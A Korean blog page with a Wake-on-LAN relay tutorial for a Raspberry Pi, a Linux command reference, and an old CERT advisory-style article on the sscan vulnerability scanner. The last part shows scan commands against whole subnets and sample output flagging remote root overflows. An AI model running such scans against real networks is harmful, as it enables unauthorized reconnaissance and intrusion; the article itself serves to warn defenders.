외부에서 Wake On Lan 지원 안되는 공유기에서 WOL 사용하기

Wake On Lan 잘 쓰고 계시나요. 저는 항상 잘 쓰고 있었는데. 최근에 공유기를 바꾸고 나니 문제가 생겼습니다. 빠른 무선 속도를 노려보려고 외산 공유기로 바꿨는데 Wake On Lan(이하 WOL)이 지원안되는 겁니다.
일반적인 공유기에서 외부에서의 WOL이 되는 이유는 WOL서버 때문인데요.(한가지 방법은 브로드캐스트 주소로의 포트포워드지만 지원 안되는 공유기가 더 많습니다.) 새로산 공유기는 WOL서버 기능을 자체적으로 지원하지 않으니... 답답하더라구요.
이걸 안쓸 수는 없고 어떻게든 쓸 방법을 생각해봤는데요

첫번째 방법은 외부 N번 포트에서 들어오는 패킷을 내부 브로드캐스트 주소로 포워드해버리는 것이 었습니다. 그러면 제가 보낸 패킷이 내부네트워크 전체로 퍼지고 제가 보낸 맥어드레스에 해당하는 컴퓨터만 켜질 것 같았거든요.

두번째 방법은 아예 리눅스를 설치하고 WOL서버로 사용하는 방법이었습니다.

첫번째방법이 간편한데 공유기에서 지원하지를 않아요... 그래서 결국 두번째 방법을 선택하게 되었습니다.
허접하지만 혹시나 넷기어나 링크시스등 WOL이 자체적으로 지원되지 않는 공유기를 이용중인 분들을 위해 작성합니다.

준비물은 남는 항상 켜져있을 수 있는 컴퓨터 혹은 리눅스가 설치되는 싱글보드컴퓨터입니다. 사용중인 서버가 있다면 그걸 써도 됩니다. 일단 저는 여기서 라즈베리 파이로 진행하겠습니다. 저는 리눅스로 진행하지만 윈도우에서도 됩니다.

먼저 라즈베리파이에 레즈비언 아...아니 라즈비안을 설치하시고 켜고자 하는 컴퓨터들과 같은 네트워크에 연결하신 후(이더넷이든 무선이든 상관 없습니다.) service ssh start를 입력해서 sshd를 시작합니다.

그리고 컴퓨터에서 putty와 같은 ssh클라이언트로 라즈베리파이의 ssh서버에 접속합니다.

etherwake와 wakeonlan 두가지가 있는데 etherwake는 실행할때마다 sudo를 해줘야해서 wakeonlan을 설치했습니다

apt-get update && apt-get install wakeonlan
or
aptitude update && aptitude install wakeonlan
를 입력해 wakeonlan을 설치합니다.
포럼에서 보니 aptitude가 대세던데 저는 아직도 익숙함 때문에 apt-get을 쓰고 있네요.

설치가 끝났네요.

vi filename.sh를 입력해서 안에는 wakeonlan 11:22:33:44:55:66와 같이 wakeonlan뒤에 맥어드레스를 입력해줍니다.
스크립트파일로 만드는 이유는 다름이 아니라 그냥 좀 짧게 만들기 위함이구요. 좀 공을 들이면 켜졌는지 안켜졌는지 확인하는 스크립트를 넣을 수도 있겠지만 그냥 쓰는 건데 그렇게 공들일 필요까지야...

일단 테스트를 해봅시다 sh wol.sh를 입력해 봅니다 켜지나요?

ssh포트를 변경하고 싶다면 vi /etc/ssh/sshd_config를 입력하신후 사진에 있는 저 #을 제거 하시고 포트번호를 수정해주세요.

윈도우의 경우
윈도우의 경우에는 간단하게 여기에 나와있는 윈도우용 ssh서버중 하나를 선택하여 설치하신 후 설정을 마치시고 (꼭 ssh서버 설치하실 필요없습니다. RDP포트여시고 RDP접속하셔서 수동으로 켜줄 수 도 있습니다. 여기서 ssh서버를 설치하는 것은 밑에 나온 원클릭 켜기 때문입니다.) 여기에서 command line용 wolcmd를 다운받습니다. 그리고 ssh 접속시 기본 경로에 넣어주면 됩니다.(기본경로가 어디였는지 생각이 안나요 C:\Users\유저명 이었나 C:\Users\유저명\Documents 이었나.)
그리고 cmd 파일을 하나 만드신 후
wolcmd [mac address] [ipaddress] [subnet mask] [port number]
이렇게 설정하고 ssh 접속했을때의 기본경로에 wol.cmd로 저장해 주시면 되는데, 아마
wolcmd [mac address] [ipaddress] 255.255.255.0 9
이렇게 맥 어드레스랑 아이피만 설정하면될겁니다. 아이피는 맨뒷자리는 255로 해주세요 ex)192.168.1.255

자 이제 설정이 끝났습니다. 스마트폰이나 외부 컴퓨터에서 ssh접속하신후 sh wol.sh 해주시면 되는데요.
원클릭이 아니잖아요. 그래서 이 앱을 이용하도록 합니다.
Script Kitty 스크립트 키디 스크립트 키티 인데요.
이 앱은 명령어를 등록해놓고 실행하면 ssh접속후 해당 명령어 실행까지 해주는 앱입니다. 이걸 이용해 원클릭 wol패킷을 보낼텐데요. 한번 보도록 하죠

스크립트 키티를 실행하면 ADD HOST를 눌러 설정한 서버에 맞게 주소와 포트를 입력해줍니다.

등록이 됬네요 여기서 RUN SCRIPT를 누르면 스크립트를 추가할 수 있습니다.

저는 스샷찍기전에 등록을 해서 이미 등록이 되어있는데 ADD SCRIPT를 눌러 추가합니다.

뭐 내용이야 별거 없이 이거에요. 윈도우에다가 하신 분은 wol.cmd 해주시면 됩니다.

이제 다른 네트워크나 데이터를 사용줄이더라도 이 버튼을 한번 클릭하는 것 만으로 컴퓨터가 켜집니다.


굉장히 허접하지만 그래도 WOL을 쓸 수 있어서 좋네요. 근데 라즈베리 파이를 고작 WOL서버로만 쓰자니 너무 아깝네요. 아무리 CPU성능이 딸린다 해도 가정용 NAS정도는 되는 성능인데... 뭐라도 서비스 좀더 올려서 써야겠어요.
웹서버 올려서 어떻게 잘 만들면 공유기 UI처럼 GUI로 만들 수 있을 텐데 하는 생각도 드는데 혹시 하게되면 따로 새글 안쓰고 여기 밑에 추가할게요.
Creative Commons License

리눅스명령어와 여러가지들

addbib - 도서목록 형식의 데이터베이스를 만들거나, 확장

alias  -  명령어 간소화하기
apropos - 사용설명서의 키워드 검색 (관련된 명령어 찾기)
ar - 라이브러리 만들기, 관리

arch  -  컴퓨터 종류 알기
at, batch - 원하는 시간에 원하는 명령을 실해하게 하는 명령

atd  -   계획성 있는 작업 실행하기
awk - 패턴 검색과 언어 처리 (특정 패턴 문자 처리하기)

a2p  -  펄 파일로 바꾸기

badblocks  -  배드 블럭 검사하기

banner - 큰 글자(배너) 만들기
basename - 경로 이름에서 마지막에 있는 이름만 출력

bc  -  계산기

bg  -  후면작업; 배경화면 설정
biff - 자신에게 편지가 배달되면 알려주는 명령 (메일 수신 소리로 확인하기)
bin-mail, binmail - 예전에 사용한 전자우편 프로그램

bind  -  키나 함수 순서 결합하기

builtin  -  내부 명령어 알아보기


cal - 달력보기
calendar - 간단한 일정표

case  -  조건 처리하기
cat - 파일 병합과 내용 보기 (화면상에서 파일내용 보기)
cb - 간단한 C 프로그램 beautifier(?)
cc - C 컴파일러
cd - 작업 디렉토리 바꾸기

cfdisk  -  디스크 설정하기

chattr  -  파일 속성 변경하기

chfn  -  사용자 정보 변경하기
checknr - nroff 또는 troff 입력 파일 검사; 오류를 보여준다
chgrp - 파일의 사용자 그룹 바꾸기 (파일, 디렉토리가 속했던 그룹 바꾸기)
chmod - 파일의 접근 권한 바꾸기

chown  - 파일 소유자 바꾸기

chsh  -  지정된 셸 바꾸기

cksum  -  CRC값을 점검한다
clear - 터미날 화면 깨끗이 하기

clock  -  CMOS 시각을 조정하기
cmp - 두 파일을 바이트 단위로 비교
colcrt - troff 파일의 밑줄 속성 문자 처리 (문자 변환 필터)

colrm  -  열 삭제하기

column  -  가로 정렬하기
comm - 지정 두파일의 줄 단위 비교와 그 처리 (파일 비교 출력하기)

command - 명령어 알아보기
compress, uncompress, zcat - 파일 압축관련 유틸리티들

continue  -  루프 계속돌기
cp - 파일 복사
cpio - copy file archives in and out (복사본 만들기)
cpp - C 언어 전처리기

crontab  -  cron을 관리한다
csh - C 문법과 비슷한 쉘 스크립트 문법과 기타 여러 기능이 내장된 쉘

csplit  -  파일에 서식, 규칙 정하기
ctags - ex 나 vi 편집기에서 사용될 tag 파일을 만드는 명령
cut  -  필요한 필드만 출력하기


date - 시스템 시간 보기나 지정하기 (날짜 보기)

dd  -  블럭장치 읽고 쓰기
dbx - 소스 수준의 디버거
deroff - nroff, troff, tbl, eqn 관련 내용 지움

debugfs  - ext2 파일 시스템 디버깅하기
df - disk free: 디스크의 남은 용량 보기 (파일 시스템의 사용량 보기)
diff - 두 파일의 차이점 비교

dirs  -  디렉토리 목록 표시하기

dmesg  - 부팅 메시지 보기

dnsdomainname  -  DNS 이름 출력

domainname  -  NIS 이름 출력&설정
du - disk used : 디스크 사용량 보기 (디렉토리와 파일의 용량 파악하기)
dumpe2fs  -  파일 시스템 정보 보기


echo - 인자를 표준 출력으로 출력 (표준 출력하기)
ed, red - 기본 줄 편집기 (라인 편집기)

eject  -  장치 해제하기

elm  -  메일 관련

emacs  -  편집기

enable  -  내부 명령어 지정

env  -  환경변수 출력하기

eval  -  인수 읽기
eqn, neqn, checkeq - 수식 표현 포멧 도구
error - 컴파일러 오류 메시지 목록
ex, edit, e - 줄 편집기

exec  -  셸 명령어 실행하기

exit  -  종료하기
expand, unexpand - TAB 문자를 공백문자로 바꿈, 또는 그 반대로

export  -  변수 지정하기
expr - 인자를 수식으로 처리

e2fsck  -  파일 시스템 복구하기


fc  -  지정된 편집기 받기

fdformat  -  플로피 디스크 포맷하기

fdisk  -  파티션 나누기

fg  -  지정된 작업을 전면 프로세스로 시작하기

file - 파일 형식 알아보기 (파일 종류 보기)
find - 파일 찾기
finger - 사용자 정보 알아보기
fmt, fmt_mail - 간단한 문서나, 편지 포멧 도구
fold - 긴 줄 출력 방법 지정 (정형화하기)

for  -  반복 실행하기

free  -  메모리 사용량 알아보기

fsck  -  파일 시스템 검사하기

fstab  -  파일 시스템에 대한 고정적인 정보 저장하기
ftp - 파일 전송 프로그램

fuser  -  프로세스 ID 출력


gcore - 실행 중인 프로세스의 core 이미지를 구한다.

getkeycodes  -  매핑 테이블 출력하기
gprof - call-graph profile data(?)를 보여줌
grep - 문자열 찾기 (특정 문자(열) 검색하기)
groups - 사용자의 그룹을 보여줌

gzexe  -  실행 파일 압축하기

gzip  -  압축하기


halt  -  시스템 종료하기

hash  -  기억해 두기; index 역할

head  -  파일의 앞부분 출력하기

help  -  도움말 보여주기

history - 이전 명령 보기

host  -  호스트 정보 보기
hostname - 현재 시스템 이름을 보여줌


id  -  계정 정보 알기

if  -  조건문 실행하기

ifconfig  -  랜카드에 주소 할당하기

imake - makefile 만드는 프로그램

imolamod  -  모듈 설치하기
indent - C 프로그램 소스 파일을 들여쓰기 하는 포멧 도구

inetd  -  인터넷 서비스의 최상위 데몬

init  -  실행 단계 정하기
install - 파일 설치

ispell  -  철자법 검사하기


jobs  -  수행중인 프로세스 알기

join - 관계형 데이터베이스 연산자


kbd_mode  -  키보드 모드 출력하기
kill - 프로세스 죽이기

klogd  -  커널 로그 데몬


last - 사용자가 마지막 접속 상태를 보여줌
ld, ld.so - 링크 편집기, 동적 링크 편집기

ldd  -  공유 라이브러리의 의존성 알기
leave - 자신의 접속 종료 시간을 알려줌

less  -  페이지 단위로 출력하기
less - more 명령의 확장

let  -  정규식 표현하기
lex - 어휘 분석 프로그램 생성기

lilo  -  부팅하기
lint - C 프로그램 verifier
ln - 파일의 하드, 심벌릭 링크 명령 (링크하기)

locate  -  패턴에 맞는 파일 찾기
login - 시스템 접속 명령 (로그인하기)

logger - 시스템 로그 기록하기

logname  -  사용자 로그인명 보여주기

logout  -  로그인 셸 종료하기
look - 시스템 디렉토리나, 정열된 목록에서 단어 찾기 (특정 단어 검색하기)
lookbib - 도서목록형 데이타베이스에서 찾기
lorder - 오브젝트 라이브러리의 관계 찾기

losetup  -  중복 장치 확인하기
lp, cancel - 인쇄 시작, 취소

lpd  -  프린트 데몬
lpq - 인쇄 작업 상황 보기 (현재 프린트 작업 상태 출력하기)
lpr - 인쇄 (출력하기)
lprm - 인쇄 작업 지우기 (대기열에 있는 문서 삭제하기)
ls - 디렉토리 내용 보기

lsattr  -  파일 시스템의 속성 보여주기

lsdev  -  하드웨어 장치 출력하기

lsmod  -  모듈 정보 출력하기


mail, Mail - 전자 우편 프로그램
make - 실행 파일을 만들거나, 특정 작업 파일을 만들 때 사용하는 도구 (컴파일하기)
man - 온라인 사용자 설명서를 보는 명령 (매뉴얼 보기)

mattrib  -

mbadblocks  - 

mcd  - 

mcopy  -

mdel  -

mdeltree  -

mdir   -
mesg - 메시지 수신 상태를 보거나 지정 (메시지를 받을 수 있는지 확인하기)

mformat  -
mkdir - 디렉토리 만들기

mke2fs  -  파일 시스템 생성하기

mkfs  -  파일 시스템 만들기

mknod  - 특수 파일 만들기
mkstr - C 소스 파일을 참조로 오류 메시지 파일을 만듬.

mkswap  -  스왑 영역 지정하기

mlabel  - 

mmd  -

mmount  -

mmove  -

more  - 화면 단위로 출력하기
more, page - 텍스트 파일 보기 명령

mrd  -

mren  -

mtoolstest  -

mtype  -

mutt  -  메일 관련
mv - 파일 이동이나, 이름 바꾸기

mzip  -


nawk - 패턴 검색과 언어 처리

netstat  - 현재 네트웍 상황 보기
nice - 낮은 우선권에서 명령 실행 (프로세스 우선 순위 변경하기)
nm - 심블 이름 목록 보기
nroff - 문서 포멧 도구


od - 8진수, 10진수, 16진수, ascii 덤프 (8진수로 파일 보기)


passwd - 비밀번호 (암호 입력하기)
paste - 여러파일의 서로 관련 있는 줄 연결시키기

pico  -  텍스트 에디터

pidof  -  실행중인 프로그램의 프로세스 ID 찾기

pine  -  메일 관련

ping  -  네트웍 확인하기

popd  -  pushd 취소
pr - 문서 파일 양식화 도구
printenv - 현재 환경 변수들의 내용과 그 값 알아보기
prof - profile 자료 보기
ps - 현재 프로세스 정보 보기 (프로세스 상태 알기)

pstree  -  프로세스 상관 관계 알기
ptx - permuted(순열화된?, 교환된?) 색인 만들기
pwd - 현재 작업 디렉토리 보기 (절대경로 보여주기)


quota - 한 사용자에게 지정된 디스크 할당량보기 (디스크 한계량 알기)


ranlib - archive를 random 라이브러리로 변화

rarp  -  rarp 테이블 관리하기
rcp - 리모트 카피 (원격 호스트에 파일 복사하기)
rcs - RCS 파일 속성 바꾸기
rcsdiff - RCS revisions 비교

rdev  -  루트, 스왑장치, 램 크기, 비디오 모드를 조사하고 설정하기

rdate  -  네트웍으로 시간 설정하기

readonly  -  읽기 전용으로 표시하기

reboot  -  재부팅하기

renice  -  프로세스 우선 순위 바꾸기

reset  -  터미널 초기화하기

restore  -  다시 저장하기
rev - 한 줄의 문자열 꺼꾸로
rlogin - 리모트 로그인 (바로 접속하기)
rm,  - 파일 지우기

rmdir  -  디렉토리 지우기

rmmod  -  모듈 지우기
roffbib - 도서목록형 데이터베이스 보기 또는 양식화

route  -  라우팅 테이블 추가/삭제하기

rpm  -  프로그램 추가/삭제

rpm2cpio  -  rpm을 cpio로 변환하기
rsh - 리모트 쉘 (원격으로 명령어 실행하기)
rup - 로칼 머쉰의 호스트 상태 보기(RPC version) (호스트 상태 출력하기)
ruptime - 로칼 머쉰의 호스트 상태 보기
rusers - 현재 접속자 보기 (RPC version) (호스트에 로그인한 사용자 출력하기)
rwall - 모든 사용자에게 알림(RPC) (호스트 사용자에게 메시지 뿌리기)
rwho - 현재 접속자 보기


sccs - Source Code Control System (SCCS)
sccs-admin, admin - SCCS 사용 내역 파일을 만들고, 관리
sccs-cdc, cdc - SCCS 델타의 델파 주석을 바꿈
sccs-comb, comb - SCCS 델타 조합
sccs-delta, delta - SCCS 파일에 데해 델타를 만듬
sccs-get, get - SCCS 파일 버전확인
sccs-help, help - SCCS 오류나 경고 메시지 검색
sccs-prs, prs - SCCS 사용내역의 선택된 부분 보기
sccs-prt, prt - SCCS 파일에서 델타 테이블 정보를 봄
sccs-rmdel, rmdel - SCCS 파일에서 델타를 지움
sccs-sact, sact - SCCS 파일의 편집 상태를 봄
sccs-sccsdiff, sccsdiff - SCCS 파일들의 버전 비교
sccs-unget, unget - SCCS 파일의 미리 얻은 것(?)을 취소한다.
sccs-val, val - SCCS 파일 유요화
script - 화면 갈무리 (기록하기)
sed - stream editor(스트림 에디터) 

set  -  변수값 설정하기

setup  -  시스템 관련 설정하기
sh - 유닉스 표준 쉘

showmount  -  호스트의 마운트 정보 보여주기

shutdown  -  전원 끄기
size - 오브젝트 파일의 크기들을 보여줌
sleep - 지정한 시간 만큼 실행 보류 (잠시 쉬기)
sort - 줄 정열과 검색
sortbib - 도서목록형 데이터베이스 정열

source  -  스크립트 번역하기
spell, hashmake, spellin, hashcheck - 맞춤범 검사(물론 영어겠지요)
split - 파일 나누기

ssh  -  암호화된 원격 로그인하기
strings - 오브젝트 파일이나, 실행 파일에서 문자열 찾기
strip - 오브젝트 파일에서 심벌 테이블과 중복된 비트 삭제
stty - 터미날 설정 (터미널라인 설정 보여주기)
su - super-user, 임시적으로 새 ID로 바꿈 (계정 바꾸기)

suspend  -  셸 중단하기

swapoff  -  스왑 해제하기

swapon  -  스왑 활성화하기
symorder - 심벌 순서 바꿈

sync  -  버퍼 재설정하기

syslogd  -  로그인 과정 설정하기


tabs - 터미날 tab 크기 지정

tac  -  거꾸로 보기
tail - 파일의 끝 부분 보기 (문서 끝부분 출력하기)
talk - 다른 사용자와 이야기하기
tar - 여러 파일 묶기 또는 묶긴 파일 풀기
tbl - nroff 또는 troff의 도표 작성 도구

tcpdchk  -  tcp wrapper 설정하기

tcpmatch  -  네트웍 요청에 대해 예측하기
tee - 표준 출력으로 방향 전환
telnet - TELNET 프로토콜을 이용한 원격 리모트 호스트 접속 (원격접속하기)
test - 주워진 환경이 참인지, 거짓인지를 돌려줌 (테스트하기)
tftp - 간단한 ftp.
time - 명령 실행 시간 계산

times  -  셸에서의 사용자와 시스템 시간 출력하기

top  -  cpu 프로세스 상황 보여주기
touch - 파일 날짜 관련 부분을 바꿈

tr  -  문자열 바꿔주기
troff - 문서 양식화 도구
true, false - 쉘 스크립트에서 사용되는 참/거짓을 리턴하는 명령
tsort - topological sort

type  -  유형 보기
tty - 현재 터미날 이름 보기


ue - MICROemacs
ul - 밑줄 속성 문자 표현

ulimit  -  제한하기

umask  - 매스크 모드 설정하기

umount  -  장치 해제하기

unalias  -  별명 제거하기

uname  -  시스템 정보 보기

unexpand  -  공백 문자를 탭으로 변환하기
unifdef - cpp 입력 줄에서 ifdef 부분 바꾸거나 지움
uniq - 중복되는 빈줄 지우기 (중복된 문장 찾기)
units - 프로그램 변환도구

unset  -  설정 변수 해제
uptime - 시스템 부팅 기간 보기 (시스템 부하 평균 보여주기)

useradd  -  사용자 계정 만들기

userdel  -  계정 삭제하기

usermod  -  사용자 계정정보 수정하기
users - 현재 접속 사용자 보기
uucp, uulog, uuname - 시스템 간의 복사
uuencode, uudecode - 이진 파일을 아스키파일로 인코딩, 반대로 디코딩
uusend - 리모트 호스트에 파일 보내기
uux - 리모트 시스템 명령 실행


vacation - 자동으로 편지 답장하기
vgrind - grind nice program listings
vi, view, vedit - ex 바탕의 편집기
vtroff - 문서 양식화 도구


w - 시스템에 접속한 사용자 상황 알아보기
wait - 프로세스가 마치기를 기다림
wall - 모든 사용자에게 메시지 보내기

wc - 단어, 줄, 바이트 계산 (문자, 단어, 라인수 세기)
what - 파일에서 SCCS 버전 정보 알아냄
whatis - 명령의 간단한 설명 보여줌
whereis - 찾는 명령의 실행파일, 소스, 맨페이지가 어디 있는지 경로를 보여 줌
which - 명령만 찾음.

while  -  루프 명령어
who - 시스템에 접속되어 있는 사람만 보여줌
whoami - 현재 사용하고 있는 자신이 누군지 보여줌
write - 다른 사용자의 화면에 특정 내용을 알림 (콘솔 상에서 간단한 메시지 보내기)


xargs - 명령행 인자 처리 명령

xcopy  -  반복적으로 복사하기

XFree86  -
xstr - extract strings from C programs to implement shared strings


yacc - yet another compiler-compiler: 파싱(형태소분석) 프로그램 생성기
yes - 항상 yes만 응답하는 명령

ypchfn  -  NIS에서 사용하는 chfn 명령어

ypchsh  - NIS에서 사용하는 chsh 명령어

yppasswd  - NIS에서 사용하는 passwd 명령어


zcat - 압축 파일 내용보기

zcmp  -  압축 파일 비교하기

zforce  -  강제로 gz 만들기
zgrep  -  압축 상태에서 grep 실행하기

zmore  - 압축 상태에서 more 실행하기

znew  -  .Z 파일을 .gz로 다시 압축하기

'Tips > Linux' 카테고리의 다른 글

Backtrack5 R3에서 nessus설치하기  (0) 2012.08.26
USB에 리눅스깔기 Universal USB Installer  (0) 2011.09.24
리눅스 라이브 CD 목록  (0) 2008.07.22
리눅스명령어와 여러가지들  (0) 2008.07.19
Creative Commons License

강력한 취약점 스캐너 - Sscan

아주 오래된 스캐너다 99년정도 에 나온걸로 알고있다 이제는 거의다 패치되어 별로위험하지 않을 것이다

정현철/CERTCC-KR, 한국정보보호센터

hcjung@{certcc,kisa}.or.kr


1. 개요

sscan은 지난 '98년 6월 mscan을 개발하여 전세계를 떠들썩하게 한 johann sebastian bach가 개발한 보안 취약점 스캐닝 도구로 '99년 1월에 버전 0.1을 발표하였다. sscan은 mscan의 명성(?)으로 인해 발표된지 얼마되지 않아서 많은 공개 사이트에서 소개되고 있으며 미국 CERT 팀에서도 그 위험성을 경고하고 있다.

sscan은 지난 '98년에 개발된 mscan에 비해 네트워크 보안 취약점 점검 기능이 매우 강력해져 최근에 발표되고 있는 많은 수의 보안 취약점들을 점검한다. 또한 유닉스 시스템 뿐만 아니라 윈도우즈 95/98, 윈도우즈 NT 시스템의 보안 취약점도 점검하여 지난 '98년에 윈도우즈 시스템에 많은 위협을 가하였던 백오리피스에 대해서도 진단을 한다.

sscan 자체가 취약점을 공격하지는 않지만 취약점을 공격할 수 있는 명령어들의 모음인 공격 스크립트를 수행하도록 설정할 수도 있다.

따라서 sscan 취약점 스캐닝과 함께 공격 목표 시스템에 대하여 보안 취약점을 이용한 공격이 가능하게 된다. sscan과 함께 보급된 문서에는 sscan에 의해 알려진 취약점을 이용하여 공격하는 방법과 자기 복제가 가능한 예제 스크립트를 소개하고 있다.

sscan의 점검항목을 mscan과 비교하면 다음과 같다.
 

점검 항목

mscan

sscan

비고

운영체제 버전 확인


네트워크 포트 스캐닝


QPOP root 버퍼 오버플로우


IMAP root 버퍼 오버플로우


Sendmail EXPN



solaris x86 listen/nlps_serv 원격 root 버퍼 오버플로우



리눅스 mSQL 2.0 원격 스택 오버플로우



리눅스 bind/iquery 버퍼 오버플로우



취약한 CGI 점검

/cgi-bin/phf


/cgi-bin/Count.cgi



/cgi-bin/test-cgi


/cgi-bin/php.cgi



/cgi-bin/handler


/cgi-bin/webgais



/cgi-bin/websendmail



/cgi-bin/webdist.cgi



/cgi-bin/faxsurvery



/cgi-bin/htmlscript



/cgi-bin/pfdisplay.cgi



/cgi-bin/perl.exe



/cgi-bin/wwwboard.pl



윈도우즈 시스템의 백오리피스(31337 포트 점검)



NFS 취약점

- export 목록

- 모든 사용자에 읽기/쓰기 가능 여부


리눅스 mountd 원격 버퍼 오버플로우



statd 버퍼 오버플로우


solaris NIS 서비스(rpc.nisd) 원격 오버플로우



solaris nlockmgr 원격 오버플로우



X11 점검

- X 출력 화면 덤프, 스니핑 가능성


Wingate 동작 유무



FINGER 점검

- 사용자 확인(default : root, guest)

- 한번도 로그인하지 않은 사용자 확인



스크립트 모듈 수행



named



IRIX default 계정 유무





2. 사용 방법

mscan에 비해 기능이 막강해진데 반해 사용방법은 대단히 단순해졌으며, 점검 결과 도 시스템의 취약점을 쉽게 파악할 수 있도록 잘 정리되어 있다. 또한 mscan에서 명령어 라인에서 주어야 했던 옵션들을 환경설정 파일(Sscan.conf)에 두어 특별한 옵션이 필요없이 사용 가능하다.
 

가. 옵션 설명
 

명령어 라인에서 다음과 같은 옵션이 사용되어 질 수 있다.

sscan (-o hostname | -s) (-c configfile) (-v)

-c <config>: 디폴트 환경설정 파일인 Sscan.conf를 대신할 특정 환경설정 파일 설정

-o <host> : 스캐닝할 한 호스트 지정

-e <script>: 디폴트 스크립트 파일인 Module.ms과 함께 사용할 스크립트 파일 지정

-m : 모든 취약점 점검을 하지 않고 스크립트 파일만을 수행

-s : 표준입력으로부터 스캐닝할 호스트를 지정

-v : 상세한 출력
 

나. 일반적인 사용 예
 

○ 다수 호스트를 스캐닝하는 경우

./sscan domainname.co.kr/24

설명 : C 클래스로 가정하고 해당 도메인에 ping을 보내 찾아진 모든 호스트를 스캐닝한다.

○ DNS 영역을 스캐닝하는 경우

./tools/z0ne -o domain.com | ./sscan -s > outputfile

설명 : -s 플래그는 IP 주소를 표준입력에서 받겠다는 의미이고, z0ne 등과 같은 IP 수집 프로그램 등과 함께 사용할 수 있다.

○ 단일 호스트를 스캐닝하는 경우

./sscan -vo www.victim.com

설명 : 특정한 하나의 호스트의 보안 취약점을 점검하여 자세히 출력한다.
 

다. 환경설정
 

sscan은 공격자가 선택적으로 점검하고 싶은 취약점 항목 등을 지정할 수 있도록 환경설정 파일(디폴트로 Sscan.conf)를 지원한다. 또한 점검하고 싶은 사용자 계정의 유무 등도 추가나 삭제가 가능하다. 디폴트 사용자 계정은 root, guest이나 여기에 bbs, sonnim, anonymous 등을 다음과 같이 추가 할 수 있다.

FINGER=yes root,guest,bbs,sonnim,anonymous
 

라. 실행 예
 


# ./sscan domainname.co.kr/24

--------------------------<[ * report for host xxx.xxx.xxx.97 *

<[ tcp port: 80 (http) ]> <[ tcp port: 23 (telnet) ]>

<[ tcp port: 143 (imap) ]> <[ tcp port: 110 (pop-3) ]>

<[ tcp port: 111 (sunrpc) ]> <[ tcp port: 79 (finger) ]>

<[ tcp port: 25 (smtp) ]> <[ tcp port: 21 (ftp) ]>

<[ tcp port: 22 (unknown) ]> <[ tcp port: 1114 (unknown) ]>

--<[ *OS*: xxx.xxx.xxx.97: os detected: solaris 2.x

-<[ *FINGER*: xxx.xxx.xxx.97: root: account exists.

-<[ *FINGER*: xxx.xxx.xxx.97: guest: account exists.

--<[ *VULN*: xxx.xxx.xxx.97: /cgi-bin/test-cgi here.

--<[ *VULN*: xxx.xxx.xxx.97: solaris running statd (automountd remote?) ^Q

--<[ *VULN*: xxx.xxx.xxx.97: solaris running nlockmgr.. remote overflow? ^M

---------------------------<[ * scan of xxx.xxx.xxx.97 completed *

--------------------------<[ * report for host xxx.xxx.xxx.252 *

<[ tcp port: 80 (http) ]> <[ tcp port: 143 (imap) ]>

<[ tcp port: 110 (pop-3) ]> <[ tcp port: 111 (sunrpc) ]>

<[ tcp port: 79 (finger) ]> <[ tcp port: 53 (domain) ]>

<[ tcp port: 2766 (unknown) ]> <[ tcp port: 25 (smtp) ]>

<[ tcp port: 21 (ftp) ]>

--<[ *OS*: xxx.xxx.xxx.252: os detected: solaris 2.x

-<[ *NFS exp0rt*: xxx.xxx.xxx.252: to: everyone! =) dir: /export/home/thanawat ]>-

-<[ *NFS exp0rt*: xxx.xxx.xxx.252: to: netscape2.mfec.co.th dir: / ]>-

--<[ *VULN*: xxx.xxx.xxx.252: solaris x86 listen/nlps_serv remote root overflow

--<[ *VULN*: xxx.xxx.xxx.252: world readable/writeable nfs exports<BODY>< ^D

--<[ *VULN*: xxx.xxx.xxx.252: solaris running statd (automountd remote?) ^Q

--<[ *VULN*: xxx.xxx.xxx.252: solaris running nlockmgr.. remote overflow? ^K

---------------------------<[ * scan of 203.144.251.252 completed *

--------------------------<[ * report for xxx.xxx.xxx.67 *

<[ tcp port: 80 (http) ]> <[ tcp port: 23 (telnet) ]>

<[ tcp port: 110 (pop-3) ]> <[ tcp port: 111 (sunrpc) ]>

<[ tcp port: 25 (smtp) ]> <[ tcp port: 21 (ftp) ]>

<[ tcp port: 22 (unknown) ]>

--<[ *OS*: amenitytour.co.th: os detected: linux 2.0.x

-<[ *NFS exp0rt*: xxx.xxx.xxx.67: to: new.he.net dir: / ]>-

-<[ *NFS exp0rt*: xxx.xxx.xxx.67: to: new1.he.net dir: / ]>-

-<[ *NFS exp0rt*: xxx.xxx.xxx.67: to: news.he.net dir: / ]>-

-<[ *NFS exp0rt*: xxx.xxx.xxx.67: to: odin.he.net dir: / ]>-

-<[ *NFS exp0rt*: xxx.xxx.xxx.67: to: passwordplus.he.net dir: / ]>-

--<[ *VULN*: xxx.xxx.xxx.67: QPOP remote r00t buffer overflow

--<[ *VULN*: xxx.xxx.xxx.67: sendmail will 'expn' accounts for us

--<[ *VULN*: xxx.xxx.xxx.67: linux mountd remote buffer overflow

---------------------------<[ * scan of xxx.xxx.xxx.67 completed *

--------------------------<[ * report for host xxx.xxx.xxx.212 *

<[ tcp port: 31337 (unknown) ]> <[ tcp port: 139 (netbios-ssn) ]>

--<[ *OS*: xxx.xxx.xxx.212: os detected: windows 95/98/nt

-<[ xxx.xxx.xxx.212: * running Netbios Auditing Tool on remote host! *

--<[ *VULN*: xxx.xxx.xxx.212: port 31337(tcp) open.. backdoor?

---------------------------<[ * scan of xxx.xxx.xxx.212 completed *



3. 공격 스크립트
 

sscan은 보안 취약점 점검과 함께 공격 목표 시스템에 대하여 예측할 수 없는 공격 스크립트에 의한 공격이 가능하게 된다. 이 스크립트 언어는 동일한 보안 취약점이 발견되는 시스템에서는 자기 복제를 무한히 하고 시스템의 파괴 행위 등을 수행할 수 있는 인터넷 웜과 같은 성격을 띌 수도 있다.

지금까지 유닉스 시스템에서 자기 복제가 가능한 인터넷 웜은 '88년 sendmail의 debug 옵션을 이용한 웜으로 인해 전세계의 시스템들이 마비되는 사건 이후 활발하게 이루어지지 않았었다. 그 이유는 유닉스 시스템은 일반 PC의 운영체제와는 달리 워낙 환경이 많이 다르기 때문에 공통되는 취약점을 찾기가 쉽지 않았었기 때문이다. 하지만 최근에 원격지에서의 버퍼 오버 플로우 공격에 의해 시스템 관리자 도용이 리눅스 시스템에 공통적으로 나타나고 있어 이를 이용한 인터넷 웜 제작이 가능한 상황이다.

